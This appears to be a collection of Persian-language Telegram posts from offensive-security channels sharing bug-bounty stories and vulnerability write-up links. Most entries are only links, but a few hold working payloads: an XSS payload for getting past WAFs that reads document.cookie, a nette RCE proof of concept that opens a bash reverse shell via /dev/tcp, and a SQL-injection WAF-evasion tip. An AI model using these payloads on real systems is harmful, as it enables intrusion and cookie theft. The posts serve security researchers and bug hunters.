چند اسکریپت اثبات آسیب پذیری کشف شده در yii

https://github.com/Maskhe/CVE-2020-15148-bypasses


#poi
#rce
#php


@sec_nerd

باگ ۲۵ هزار دلاری اینستاگرام

یه پسر ۱۴ ساله می‌خواسته واسه اپ خودش، از فیلترهای اینستاگرام استفاده کنه. برای اینکار نیاز به فهم سیستم واقعیت افزوده (Spark AR) شرکت فیسبوک داشته. وقتی در استفاده از این سیستم، اسم فایل پیش‌نمایش رو خواسته عوض کنه متوجه می‌شه که اعلانی که بعدش نمایش داده میشه تابع و دربردارنده‌ی همین اسمه و می‌تونه توش پیلودهای XSS رو تست کنه. چون سامانه، محدودیت کاراکترهایی مثل تگ داشته مجبور شده برای دور زدنش بیاد تزریق HTML انجام بده. چی؟ اینکه طرف رو Redirect کنه به یه صفحه‌ی مخرب دیگه. بعد از اینکه گزارش این باگ رو می‌فرسته، کارشناسان فیسبوک بهش می‌گن درسته که شما اومدی یه باگ Open Redirection فرستادی برامون، اما ما متوجه شدیم این باگ قابلیت تبدیل به XSS هم داشته (اگر charset رو به UTF-7 تغییر می‌دادی). پس به همون مقدار بهت جایزه می‌دیم، یعنی ۲۵ هزار دلار.
@offsecmag

گذری بر حملات تزریق Xpath

https://vkili.github.io/blog/hacking/xpath-injection/


#pentest
#xml
#xpath


@sec_nerd

در mysql نسخه های بالاتر از 5.7.22 میتوان بجای Group_concat از json_arrayagg استفاده کرد


#sqli
#pentest
#waf


@sec_nerd

آسیب پذیری های کشف شده در Pandora FMS


https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained

#sqli, #RFI, #CSRF, #deserialization


@sec_nerd

چطور روی شرکت بزرگی مثل Airbnb باگ XSS کشف می‌شه (روی APIای که خروجی JSON می‌ده!) و چطور فیلترها و مکانیزم‌های امنیتی روی این پلتفرم دور زده می‌شه و نهایتا ۱۵ هزار دلار جایزه می‌بره. توی این ویدئو ببینید.
@offsecmag

کشف باگ RCE در اپلیکیشن اندرویدی فیسبوک به واسطه دانلود فایل

https://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f


#facebook
#rce
#bugbounty
#android


@sec_nerd

راهکارهای دور زدن WAF در حملات XSS

#waf
#xss
#pentest
#bugbounty

@sec_nerd

From S3 bucket to Laravel unserialize RCE

https://blog.truesec.com/2020/02/12/from-s3-bucket-to-laravel-unserialize-rce/


#aws
#laravel
#poi
#rce

@sec_nerd

گامهای اولیه در کشف باگ از سورس کد

https://btlr.dev/blog/how-to-find-vulnerabilities-in-code-bad-words


#whitebox
#pentest


@sec_nerd

دور زدن WAF و بلک لیست با پیلود جدید XSS

Payload: alert?.(document?.cookie)


#xss
#bugbounty


@sec_nerd

#SameSite

@web_priv8

شرق آسیایی ها بعد از اپلیکیشن های مبتنی بر جاوا حالا سراغ فریمورک های php رفتن و اینبار از فریمورک nette آسیب پذیری RCE کشف کردن

CVE-2020-15227 PHP framework nette callback RCE

POC: /nette.micro?callback=shell_exec&cmd=bash%20-i%20>&%20/dev/tcp/'+lhost+'/'+lport+'0>&1


#php
#nette
#rce


@sec_nerd

باگ RCE در Pulse Secure پس از احراز هویت

https://www.gosecure.net/blog/2020/08/26/forget-your-perimeter-rce-in-pulse-connect-secure/

CVE-2020-8218

#rce
#pulse
#network


@sec_nerd

Tutorials and Things to Do while Hunting Vulnerability.

https://github.com/KathanP19/HowToHunt

#BugBounty
#BugBountyTip

@web_priv8

باگ RCE در اپلیکیشن discord

masatokinugawa.l0.cm/2020/10/discord-desktop-rce.html (日本語)
https://mksben.l0.cm/2020/10/discord-desktop-rce.html (English)
https://youtube.com/watch?v=0f3RrvC-zGI (DEMO)


#discord
#rce

@sec_nerd